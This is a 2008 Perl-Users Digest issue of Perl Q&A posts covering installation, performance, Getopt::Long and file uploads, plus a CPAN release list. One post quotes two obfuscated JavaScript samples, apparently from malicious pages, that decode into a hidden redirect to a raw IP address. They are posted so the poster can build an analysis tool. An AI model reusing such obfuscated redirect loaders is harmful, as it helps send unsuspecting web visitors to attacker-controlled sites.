[30591] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 1834 Volume: 11

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Sep 3 11:09:49 2008

Date: Wed, 3 Sep 2008 08:09:08 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Wed, 3 Sep 2008     Volume: 11 Number: 1834

Today's topics:
        "Selling" Perl (i.e. getting the boss to let me install <newsposter625@gmail.com.invalid>
    Re: "Selling" Perl (i.e. getting the boss to let me ins <john@castleamber.com>
    Re: "Selling" Perl (i.e. getting the boss to let me ins <1usa@llenroc.ude.invalid>
        Compile vs mod_perl vs perl <bill@ts1000.us>
    Re: Compile vs mod_perl vs perl <bugbear@trim_papermule.co.uk_trim>
    Re: Compile vs mod_perl vs perl <1usa@llenroc.ude.invalid>
    Re: FAQ 6.18 Why don't word-boundary searches with "\b" <brian.d.foy@gmail.com>
    Re: help message with no input options <brian.helterline@hp.com>
    Re: help message with no input options <veatchla@yahoo.com>
        How to check the size of each files that are being uplo <tower.grv@gmail.com>
        new CPAN modules on Wed Sep  3 2008 (Randal Schwartz)
    Re: Prolem examining JavaScript with SpiderMonkey.pm <spam@jan-o-sch.net>
    Re: Prolem examining JavaScript with SpiderMonkey.pm <john@castleamber.com>
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Wed, 03 Sep 2008 10:39:16 -0400
From: P B <newsposter625@gmail.com.invalid>
Subject: "Selling" Perl (i.e. getting the boss to let me install it)
Message-Id: <k5k2p5xg1b.ln2@homer.soren625.no-ip.org>

Hello,

I'd like to install ActivePerl on a Windows XP machine specifically to
run a particular script. The "problem" is that the admins in charge of
the PC are very cautious about what is installed and the security
implications of everything (as they should be).

I thought I recalled seeing a perlfaq specifically regarding this issue,
but several `perldoc -q' searches and a perusal of the perlfaqs posted
here were fruitless. (Besides the sort of general "How do I convince
others to use Perl?")

Can anyone provide a link or perhaps a little narrative about why Perl
is safe and secure to install (I'm talking about the Perl interpreter,
specifically the ActivePerl build here, not any scripts that may be
run).

Also, the script that I'd like to run if I do get Perl installed uses
WWW::Mechanize. Are there any links, resources, opinions, or first-hand
experiences as to the security implications of this particular module?

Thanks,

PB

-- 
Electricians made popcorn in the power supply


------------------------------

Date: 3 Sep 2008 14:57:36 GMT
From: John Bokma <john@castleamber.com>
Subject: Re: "Selling" Perl (i.e. getting the boss to let me install it)
Message-Id: <Xns9B0E6551F4B22castleamber@130.133.1.4>

P B <newsposter625@gmail.com.invalid> wrote:

> Hello,
> 
> I'd like to install ActivePerl on a Windows XP machine specifically to
> run a particular script. The "problem" is that the admins in charge of
> the PC are very cautious about what is installed and the security
> implications of everything (as they should be).

You have limited access rights, and Perl will run with your rights. Hence 
it doesn't provide you with any magic. If your admins don't get it, they 
shouldn't admin computers in the first place.

That being said, you probably can just install Perl in your own directory, 
one way or another.

-- 
John    http://johnbokma.com/ - Hacking & Hiking in Mexico

Perl help in exchange for a gift:
http://johnbokma.com/perl/help-in-exchange-for-a-gift.html


------------------------------

Date: Wed, 03 Sep 2008 15:05:10 GMT
From: "A. Sinan Unur" <1usa@llenroc.ude.invalid>
Subject: Re: "Selling" Perl (i.e. getting the boss to let me install it)
Message-Id: <Xns9B0E70C0E5421asu1cornelledu@127.0.0.1>

John Bokma <john@castleamber.com> wrote in
news:Xns9B0E6551F4B22castleamber@130.133.1.4: 

> P B <newsposter625@gmail.com.invalid> wrote:
> 
>> Hello,
>> 
>> I'd like to install ActivePerl on a Windows XP machine specifically
>> to run a particular script. The "problem" is that the admins in
>> charge of the PC are very cautious about what is installed and the
>> security implications of everything (as they should be).
> 
> You have limited access rights, and Perl will run with your rights.
> Hence it doesn't provide you with any magic. If your admins don't get
> it, they shouldn't admin computers in the first place.
> 
> That being said, you probably can just install Perl in your own
> directory, one way or another.

Ditto.

You can also pack the script into a self-sufficient exe using pp:

http://search.cpan.org/~smueller/PAR-0.982/lib/PAR/Tutorial.pod#Perl_Packager:_pp

The executable would not need any elevated privileges other 
than being able to read/write your account's %TEMP%.

Sinan
-- 
A. Sinan Unur <1usa@llenroc.ude.invalid>
(remove .invalid and reverse each component for email address)

comp.lang.perl.misc guidelines on the WWW:
http://www.rehabitation.com/clpmisc/


------------------------------

Date: Wed, 3 Sep 2008 04:59:07 -0700 (PDT)
From: Bill H <bill@ts1000.us>
Subject: Compile vs mod_perl vs perl
Message-Id: <24e1c65f-4fc3-4b37-a044-fcb46fb00020@b1g2000hsg.googlegroups.com>

Background:
I have a program that uses PDF:API2 to generate pdf files based on
html text and images. When done it then generates preview images of
the pages using Imagemagik. The program does not interaface with the
web so there is no communication with a browser.

The questions I have are, is there any significant speed increase
going to mod_perl or even compiling it to an executable? From what I
have heard and read (and this could be wrong), the mod_perl just keeps
it in memory so that it is faster getting started and that compiling
just wraps the code in a perl script interpreter (for lack of a better
term). Are these true?

Looking at perldoc perlcompile it mentions that it will make C source
out of your perl script but then gives caveats about how it is
incomprehensible. Discounting this, since I could always make changes
to the perl code and "re-compile", does it actually make c source will
compile to an executable? What about included Libs (such as the
PDF:API2)? Do they get "compiled" also?

Bill H


------------------------------

Date: Wed, 03 Sep 2008 14:30:20 +0100
From: bugbear <bugbear@trim_papermule.co.uk_trim>
Subject: Re: Compile vs mod_perl vs perl
Message-Id: <e5-dneHsjYrxDCPVnZ2dnUVZ8radnZ2d@posted.plusnet>

Bill H wrote:
> Background:
> I have a program that uses PDF:API2 to generate pdf files based on
> html text and images. When done it then generates preview images of
> the pages using Imagemagik. The program does not interaface with the
> web so there is no communication with a browser.

That modules runs quite quickly, but has a filthy
startup time, mainly spent loading complex
font information that may well not be used.

I once tried to defer this, and implement "load on demand",
but gave up.

   BugBear


------------------------------

Date: Wed, 03 Sep 2008 14:06:14 GMT
From: "A. Sinan Unur" <1usa@llenroc.ude.invalid>
Subject: Re: Compile vs mod_perl vs perl
Message-Id: <Xns9B0E66C2D1F9Aasu1cornelledu@127.0.0.1>

Bill H <bill@ts1000.us> wrote in news:24e1c65f-4fc3-4b37-a044-
fcb46fb00020@b1g2000hsg.googlegroups.com:

> Background:
> I have a program that uses PDF:API2 to generate pdf files based on
> html text and images. When done it then generates preview images of
> the pages using Imagemagik. The program does not interaface with the
> web so there is no communication with a browser.
> 
> The questions I have are, is there any significant speed increase
> going to mod_perl

mod_perl works within Apache, so I don't think it is relevant to your 
situation.

> or even compiling it to an executable? From what I
> have heard and read (and this could be wrong), the mod_perl just keeps
> it in memory so that it is faster getting started and that compiling
> just wraps the code in a perl script interpreter (for lack of a better
> term). Are these true?

Yes. In the most naive scenario, mod_perl represents a speedup over CGI 
by not going through the whole invoke perl, compile modules etc routine 
every time a Perl script is invoked via Apache.

Yes to the second question as well.

> Looking at perldoc perlcompile it mentions that it will make C source
> out of your perl script but then gives caveats about how it is
> incomprehensible. Discounting this, since I could always make changes
> to the perl code and "re-compile", does it actually make c source will
> compile to an executable? What about included Libs (such as the
> PDF:API2)? Do they get "compiled" also?

I do not know the internals. I do not care about the internals. 

If you are looking to speed up your program, trying to compile to C is 
the last avenue you should be considering. It is better to look at how 
your program does what it does and identify what it does slowly and 
which of those tasks that it does slowly represents opportunities for a 
speed-up by changes to code or algorithm.

http://www.perl.com/pub/a/2001/06/27/ctoperl.html

http://www.perl.com/pub/a/2004/06/25/profiling.html


Sinan



-- 
A. Sinan Unur <1usa@llenroc.ude.invalid>
(remove .invalid and reverse each component for email address)

comp.lang.perl.misc guidelines on the WWW:
http://www.rehabitation.com/clpmisc/


------------------------------

Date: Wed, 03 Sep 2008 09:43:34 -0500
From: brian d  foy <brian.d.foy@gmail.com>
Subject: Re: FAQ 6.18 Why don't word-boundary searches with "\b" work for me?
Message-Id: <030920080943342665%brian.d.foy@gmail.com>

In article <48bd5fc8$0$2927$fa0fcedb@news.zen.co.uk>, RedGrittyBrick
<RedGrittyBrick@spamweary.invalid> wrote:


> Yes. I now realise my earlier suggestion is not relevant to this 
> particular FAQ. I guess some other FAQ or perldoc clarifies when one 
> might want to use \B and when \w.

As with any feature, use the one that does what you need.


------------------------------

Date: Tue, 02 Sep 2008 19:43:48 -0700
From: Brian Helterlilne <brian.helterline@hp.com>
Subject: Re: help message with no input options
Message-Id: <g9ktl5$km1$1@usenet01.boi.hp.com>

Slickuser wrote:
> test2.pl runme
> Please enter subcommand user input options.
> 
> It shouldn't give me this message when I have options, but it does.
> 
> test2.pl runme -app a
> Please enter subcommand user input options.
> 
> @ARGV is always zero.
> 
> sub subcmd_runme
> {
> 	GetOptions
> 	(
> 		'app|a=s' 			=>	\my $opt_app,
> 		'file|f:s' 			=> 	\my $opt_file,
> 		'help|h' 			=> 	\my $opt_help
> 	);

GetOptions() alters @ARGV by removing all your options.  Anything left 
in @ARGV would be unrecognized.  Try testing @ARGV first.

> 
> 	#print help if no user input options?
> 	my $length = @ARGV;
> 	#my $length2 = scalar(@ARGV);
> 	#print "$length $length2 \n";
> 	if ($length == 0) {
> 		die "Please enter subcommand user input options.\n";
> 	}
> 
> 	print "Execute script \n";
> }


------------------------------

Date: Tue, 02 Sep 2008 22:12:47 -0500
From: l v <veatchla@yahoo.com>
Subject: Re: help message with no input options
Message-Id: <4tidnYnII8MsnSPVnZ2dnUVZ_oLinZ2d@supernews.com>

Slickuser wrote:
> test2.pl runme
> Please enter subcommand user input options.
> 
> It shouldn't give me this message when I have options, but it does.
> 
> test2.pl runme -app a
> Please enter subcommand user input options.
> 
> @ARGV is always zero.

Yep, that's Getopt::Long's default behavor.  You need to configure 
Getopt::Long to enable "pass_through".

@ARGV should now contain a single entry, "runme".

> 
> sub subcmd_runme
> {
> 	GetOptions
> 	(
> 		'app|a=s' 			=>	\my $opt_app,
> 		'file|f:s' 			=> 	\my $opt_file,
> 		'help|h' 			=> 	\my $opt_help
> 	);
> 
> 	#print help if no user input options?
> 	my $length = @ARGV;
> 	#my $length2 = scalar(@ARGV);
> 	#print "$length $length2 \n";
> 	if ($length == 0) {

# Also check $opt_app since it is required input.
# file is optional.
#if ($length == 0) {
if ($length == 0 || $opt_app eq '') {

> 		die "Please enter subcommand user input options.\n";
> 	}
> 
> 	print "Execute script \n";
> }
> 


-- 

Len


------------------------------

Date: Wed, 3 Sep 2008 00:45:46 -0700 (PDT)
From: "tower.grv@gmail.com" <tower.grv@gmail.com>
Subject: How to check the size of each files that are being uploaded
Message-Id: <731c302d-d040-446b-9619-8d36d016f6d3@k37g2000hsf.googlegroups.com>

Hello.
I am developing cgi perl script for uploading files with uploading
progress bar.
Now i have script that do this good.
While uploading i must to know total size of the file that is being
uploaded.
It is not problem becouse there is global variable
$ENV{CONTENT_LENGTH} that contains the lenght of the attachment.

The problem is when 2 or more files are bieng uploaded.

How can i know the size of each file?
I use CGI->new(\&hook) method to catch file uploading process.


------------------------------

Date: Wed, 3 Sep 2008 04:42:21 GMT
From: merlyn@stonehenge.com (Randal Schwartz)
Subject: new CPAN modules on Wed Sep  3 2008
Message-Id: <K6LrqL.MMA@zorch.sf-bay.org>

The following modules have recently been added to or updated in the
Comprehensive Perl Archive Network (CPAN).  You can install them using the
instructions in the 'perlmodinstall' page included with your Perl
distribution.

AUBBC-1.10
http://search.cpan.org/~sflex/AUBBC-1.10/
----
AUBBC-1.10R
http://search.cpan.org/~sflex/AUBBC-1.10R/
----
AUBBC1.10
http://search.cpan.org/~sflex/AUBBC1.10/
----
Algorithm-Voting-0.01
http://search.cpan.org/~jtrammell/Algorithm-Voting-0.01/
voting algorithm implementations 
----
AutoLoader-5.66_01
http://search.cpan.org/~smueller/AutoLoader-5.66_01/
load subroutines only on demand 
----
Bundle-Compress-Zlib-2.014
http://search.cpan.org/~pmqs/Bundle-Compress-Zlib-2.014/
Install Compress::Zlib and dependencies 
----
Bundle-IO-Compress-Bzip2-2.014
http://search.cpan.org/~pmqs/Bundle-IO-Compress-Bzip2-2.014/
Install IO::Compress::Bzip2 and dependencies 
----
CGI-Application-Plugin-ConfigAny-0.01
http://search.cpan.org/~mab/CGI-Application-Plugin-ConfigAny-0.01/
Add Config::Any Support to CGI::Application 
----
CGI-Application-Plugin-ConfigAny-0.02
http://search.cpan.org/~mab/CGI-Application-Plugin-ConfigAny-0.02/
Add Config::Any Support to CGI::Application 
----
CPAN-Testers-WWW-Statistics-0.48
http://search.cpan.org/~barbie/CPAN-Testers-WWW-Statistics-0.48/
CPAN Testers Statistics website. 
----
CPAN-WWW-Testers-Generator-0.26
http://search.cpan.org/~barbie/CPAN-WWW-Testers-Generator-0.26/
Download and summarize CPAN Testers data 
----
CSS-DOM-0.05
http://search.cpan.org/~sprout/CSS-DOM-0.05/
Document Object Model for Cascading Style Sheets 
----
Cache-CacheFactory-1.07_02
http://search.cpan.org/~sgraham/Cache-CacheFactory-1.07_02/
factory class for Cache::Cache and other modules. 
----
Catalyst-Authentication-AuthTkt-0.06
http://search.cpan.org/~karman/Catalyst-Authentication-AuthTkt-0.06/
shim for Apache::AuthTkt 
----
Catalyst-Authentication-Credential-HTTP-1.001
http://search.cpan.org/~bobtfish/Catalyst-Authentication-Credential-HTTP-1.001/
HTTP Basic and Digest authentication for Catalyst. 
----
Catalyst-Authentication-Credential-HTTP-1.002
http://search.cpan.org/~bobtfish/Catalyst-Authentication-Credential-HTTP-1.002/
HTTP Basic and Digest authentication for Catalyst. 
----
Class-DBI-Audit-0.04
http://search.cpan.org/~bduggan/Class-DBI-Audit-0.04/
Audit changes to columns in CDBI objects. 
----
Compress-LZF_PP-0.32
http://search.cpan.org/~lbrocard/Compress-LZF_PP-0.32/
A pure-Perl LZF decompressor 
----
Compress-Raw-Bzip2-2.014
http://search.cpan.org/~pmqs/Compress-Raw-Bzip2-2.014/
Low-Level Interface to bzip2 compression library 
----
Compress-Raw-Zlib-2.014
http://search.cpan.org/~pmqs/Compress-Raw-Zlib-2.014/
Low-Level Interface to zlib compression library 
----
Compress-Zlib-2.014
http://search.cpan.org/~pmqs/Compress-Zlib-2.014/
Interface to zlib compression library 
----
DBD-ODBC-1.16_2
http://search.cpan.org/~mjevans/DBD-ODBC-1.16_2/
ODBC Driver for DBI 
----
Data-Stream-Bulk-0.02
http://search.cpan.org/~nuffin/Data-Stream-Bulk-0.02/
N at a time iteration API 
----
File-Maintenance-0.03
http://search.cpan.org/~dhorne/File-Maintenance-0.03/
Maintain files based on their age. 
----
Graphics-Primitive-Driver-Cairo-0.21
http://search.cpan.org/~gphat/Graphics-Primitive-Driver-Cairo-0.21/
Cairo backend for Graphics::Primitive 
----
Graphics-Primitive-Driver-Cairo-0.22
http://search.cpan.org/~gphat/Graphics-Primitive-Driver-Cairo-0.22/
Cairo backend for Graphics::Primitive 
----
HTML-DOM-0.017
http://search.cpan.org/~sprout/HTML-DOM-0.017/
A Perl implementation of the HTML Document Object Model 
----
HTML-SimpleLinkExtor-1.21_02
http://search.cpan.org/~bdfoy/HTML-SimpleLinkExtor-1.21_02/
Extract links from HTML 
----
IO-Compress-Base-2.014
http://search.cpan.org/~pmqs/IO-Compress-Base-2.014/
Base Class for IO::Compress modules 
----
IO-Compress-Bzip2-2.014
http://search.cpan.org/~pmqs/IO-Compress-Bzip2-2.014/
Write bzip2 files/buffers 
----
IO-Compress-Lzf-2.014
http://search.cpan.org/~pmqs/IO-Compress-Lzf-2.014/
Write lzf files/buffers 
----
IO-Compress-Lzop-2.014
http://search.cpan.org/~pmqs/IO-Compress-Lzop-2.014/
Write lzop files/buffers 
----
IO-Compress-Zlib-2.014
http://search.cpan.org/~pmqs/IO-Compress-Zlib-2.014/
----
Image-Match-1.01
http://search.cpan.org/~karasik/Image-Match-1.01/
locate image inside another 
----
Imager-Search-1.00
http://search.cpan.org/~adamk/Imager-Search-1.00/
Find images within other images 
----
Mail-Box-2.083
http://search.cpan.org/~markov/Mail-Box-2.083/
manage a mailbox, a folder with messages 
----
Net-Amazon-S3-Policy-0.1.1
http://search.cpan.org/~polettix/Net-Amazon-S3-Policy-0.1.1/
manage Amazon S3 policies for HTTP POST forms 
----
Net-Appliance-Session-1.26
http://search.cpan.org/~oliver/Net-Appliance-Session-1.26/
Run command-line sessions to network appliances 
----
Net-CIDR-MobileJP-0.15
http://search.cpan.org/~tokuhirom/Net-CIDR-MobileJP-0.15/
mobile ip address in Japan 
----
Net-IMAP-Client-0.2
http://search.cpan.org/~mishoo/Net-IMAP-Client-0.2/
Not so simple IMAP client library 
----
PAR-Indexer-0.90
http://search.cpan.org/~smueller/PAR-Indexer-0.90/
Scan a PAR distro for packages and scripts 
----
PITA-POE-SupportServer-0.41
http://search.cpan.org/~adamk/PITA-POE-SupportServer-0.41/
Support server for PITA virtual machines 
----
PITA-Scheme-0.41
http://search.cpan.org/~adamk/PITA-Scheme-0.41/
PITA Testing Schemes 
----
PITA-Test-Dummy-Perl5-Deps-1.03
http://search.cpan.org/~adamk/PITA-Test-Dummy-Perl5-Deps-1.03/
CPAN Test Dummy for PITA Makefile.PL installs 
----
PITA-Test-Dummy-Perl5-Make-1.05
http://search.cpan.org/~adamk/PITA-Test-Dummy-Perl5-Make-1.05/
CPAN Test Dummy for PITA Makefile.PL installs 
----
Perl-Critic-1.091
http://search.cpan.org/~thaljef/Perl-Critic-1.091/
Critique Perl source code for best-practices. 
----
Perl-Critic-1.092
http://search.cpan.org/~thaljef/Perl-Critic-1.092/
Critique Perl source code for best-practices. 
----
Sub-Delete-0.02
http://search.cpan.org/~sprout/Sub-Delete-0.02/
Perl module enabling one to delete subroutines 
----
TAP-Formatter-HTML-0.06
http://search.cpan.org/~spurkis/TAP-Formatter-HTML-0.06/
TAP Test Harness output delegate for html output 
----
Template-Perlish-1.05
http://search.cpan.org/~polettix/Template-Perlish-1.05/
Yet Another Templating system for Perl 
----
Test-Valgrind-0.051
http://search.cpan.org/~vpit/Test-Valgrind-0.051/
Test Perl code through valgrind. 
----
Text-FixedWidth-0.01
http://search.cpan.org/~jhannah/Text-FixedWidth-0.01/
Easy OO manipulation of fixed width text files. 
----
Text-FixedWidth-0.02
http://search.cpan.org/~jhannah/Text-FixedWidth-0.02/
Easy OO manipulation of fixed width text files. 
----
Text-Match-FastAlternatives-1.03
http://search.cpan.org/~arc/Text-Match-FastAlternatives-1.03/
efficient search for many strings 
----
Text-WagnerFischer-Armenian-0.03
http://search.cpan.org/~aurum/Text-WagnerFischer-Armenian-0.03/
a variation on Text::WagnerFischer for Armenian-language strings 
----
TheSchwartz-Simple-0.03
http://search.cpan.org/~miyagawa/TheSchwartz-Simple-0.03/
Lightweight TheSchwartz job dispatcher using plain DBI 
----
URI-SmartURI-0.025
http://search.cpan.org/~rkitover/URI-SmartURI-0.025/
Subclassable and hostless URIs 
----
WWW-MobileCarrierJP-0.20
http://search.cpan.org/~tokuhirom/WWW-MobileCarrierJP-0.20/
scrape mobile carrier information 
----
WWW-OpenResty-0.07
http://search.cpan.org/~agent/WWW-OpenResty-0.07/
Client-side library for OpenResty servers 
----
WWW-OpenResty-0.08
http://search.cpan.org/~agent/WWW-OpenResty-0.08/
Client-side library for OpenResty servers 
----
Win32-OLE-CrystalRuntime-Application-0.08
http://search.cpan.org/~mrdvt/Win32-OLE-CrystalRuntime-Application-0.08/
Perl Interface to the CrystalRuntime.Application OLE Object 


If you're an author of one of these modules, please submit a detailed
announcement to comp.lang.perl.announce, and we'll pass it along.

This message was generated by a Perl program described in my Linux
Magazine column, which can be found on-line (along with more than
200 other freely available past column articles) at
  http://www.stonehenge.com/merlyn/LinuxMag/col82.html

print "Just another Perl hacker," # the original

--
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc.
See http://methodsandmessages.vox.com/ for Smalltalk and Seaside discussion


------------------------------

Date: Wed, 03 Sep 2008 13:12:54 +0200
From: Jan Schmidt <spam@jan-o-sch.net>
Subject: Re: Prolem examining JavaScript with SpiderMonkey.pm
Message-Id: <b6714$48be7136$c0a6c95a$22515@news.usenext.de>

Joost Diepenmaat writes:
>> Although this works, it does not seem practical to me. Is there any
>> framework handling creation of objects existing in browsers?
> 
> Not as far as I know. You're probably much better off using
> Mozilla::Mechanize, IE::Mechanize or WWW::Selenium, which run the
> javascript code in an actual browser.

Well, having an X server running to analyze JavaScript is not what I want.

> I'm not sure what you'd expect that to do in SpiderMonkey, since there
> is no window.

Having no browser objects is the point. The aim is analyzing obfuscated 
JavaScript, especially redirects in my case (see [1] and [2], which both 
evaluate to [3]). I did not mention this in the first place, because I 
think a more generic solution would be the best. I would like to see a 
framework having objects like a browser, have them manipulated by random 
JavaScript and then being able to read each property of any object.

If no such thing exists (really?), I'd think about implementing it. Any 
hints appreciated :-)

Jan


[1]
var fhuqy=0;
var kshl;
var zdho="dcpzetgicmjknfyixnax";
var sowxi, gkp, 
vcu="580B0417094A5B1A001F031B1A4615081609141903064D300402063A001F031B1A580E00160A0E0F4A0F1F1904000E060D43180E1E0A180A1D464310101700404A5B5650554358455F5F41474A5A50571A1116194A45484B4A5145180D1410190C505D570C171D165B";
gkp="";
for( sowxi=0;sowxi < vcu.length;sowxi+=2){
         kshl = unescape( "%" + vcu.substr( sowxi,2));
         gkp += String.fromCharCode( kshl.charCodeAt(0) ^ 
zdho.charCodeAt(fhuqy++) );
         if ( fhuqy >= zdho.length ) fhuqy = 0;
}
document.write(gkp);

[2]
var gczod=0;
var 
zqyvc=[{"5":3},{"6":4},{"1":2},{"6":4},{"7":4},{"6":3},{"7":4},{"3":3},{"7":4},{"7":4},{"6":4},{"7":4},{"3":3},{"6":3},{"4":3},{"2":3},{"8":4},{"1":2},{"4":3},{"3":3},{"6":4},{"2":3},{"5":3},{"5":3},{"7":4},{"7":4},{"6":4},{"3":3},{"5":3},{"9":4},{"4":3},{"1":2},{"5":3},{"4":3},{"6":4},{"3":3},{"9":4},{"4":3},{"6":4},{"7":4},{"2":2},{"3":3},{"4":3},{"4":3},{"8":4},{"7":4},{"5":3},{"7":4},{"8":4},{"9":4},{"1":2},{"5":3},{"2":3},{"6":4},{"9":4},{"8":4},{"3":3},{"6":3},{"2":2},{"8":4},{"5":3},{"5":3},{"9":4},{"1":2},{"9":4},{"6":3},{"4":3},{"8":4},{"9":4},{"9":4},{"6":3},{"1":2},{"2":2},{"1":2},{"5":3},{"9":4},{"7":4},{"1":2},{"7":4},{"6":3},{"9":4},{"7":4},{"1":2},{"1":2},{"3":3},{"1":2},{"9":4},{"6":3},{"6":3},{"2":2},{"5":3},{"2":3},{"6":4},{"4":3},{"3":3},{"6":4},{"1":2},{"6":3},{"5":3},{"9":4},{"5":3},{"1":2},{"1":2},{"6":4},{"1":2}];
var mrpwk=0;
var 
biah="7891A19F41B4D3615F951E0B383318339181A5D38033AE8166CF1986E07CD75931319CD18F7A694030803B0B184B28BC76E408687EEE833F91DC8350DC026541BD53B8FB63686FC62761123A0ED2A37896E125C1CF1CB01CB1B14C202630E32AA0C9B6814E80E8EE006725E05BCD31039086C075C02C8347C1707165C0D1917691882BCFFC173917D3D0162C55E0F88DA40F15FF1D118CB72B3591C0CF3F8178B5E11D02E9D91B1A70";
var hpfr="axoiolocnuqzlxcjbonycjbh";
var vthn="";
var edzj="hasdzydxmmlybnlvelgbnqd";
for(cxda in zqyvc){
         var flyvl, thq;
         for(rdynx in zqyvc[cxda]){
                 flyvl=parseInt(rdynx,10);
                 thq=parseInt(zqyvc[cxda][rdynx],10);
         }
         var amts = "0x"+biah.substr(mrpwk,thq);
         mrpwk=mrpwk+thq;
         vthn += 
String.fromCharCode((((amts.toString(10)^hpfr.charCodeAt(vgb++)))^edzj.charCodeAt(gczod++)) 
 >> flyvl);
         if(vgb>=hpfr.length) vgb=0;
         if(gczod>=edzj.length) gczod=0;
}
document.write(vthn);

[3]
<html><script 
language=JavaScript>window.location.replace("http://196.2.198.241/~rfc/l/")</script></html>


------------------------------

Date: 3 Sep 2008 14:14:46 GMT
From: John Bokma <john@castleamber.com>
Subject: Re: Prolem examining JavaScript with SpiderMonkey.pm
Message-Id: <Xns9B0E5E0F3D937castleamber@130.133.1.4>

Jan Schmidt <spam@jan-o-sch.net> wrote:

> If no such thing exists (really?), I'd think about implementing it. Any 
> hints appreciated :-)
> 

Heh, I was right. If you're interested in an extra hand, drop me a line.

-- 
John    http://johnbokma.com/ - Hacking & Hiking in Mexico

Perl help in exchange for a gift:
http://johnbokma.com/perl/help-in-exchange-for-a-gift.html


------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

#The Perl-Users Digest is a retransmission of the USENET newsgroup
#comp.lang.perl.misc.  For subscription or unsubscription requests, send
#the single line:
#
#	subscribe perl-users
#or:
#	unsubscribe perl-users
#
#to almanac@ruby.oce.orst.edu.  

NOTE: due to the current flood of worm email banging on ruby, the smtp
server on ruby has been shut off until further notice. 

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

#To request back copies (available for a week or so), send your request
#to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
#where x is the volume number and y is the issue number.

#For other requests pertaining to the digest, send mail to
#perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
#sending perl questions to the -request address, I don't have time to
#answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V11 Issue 1834
***************************************


home help back first fref pref prev next nref lref last post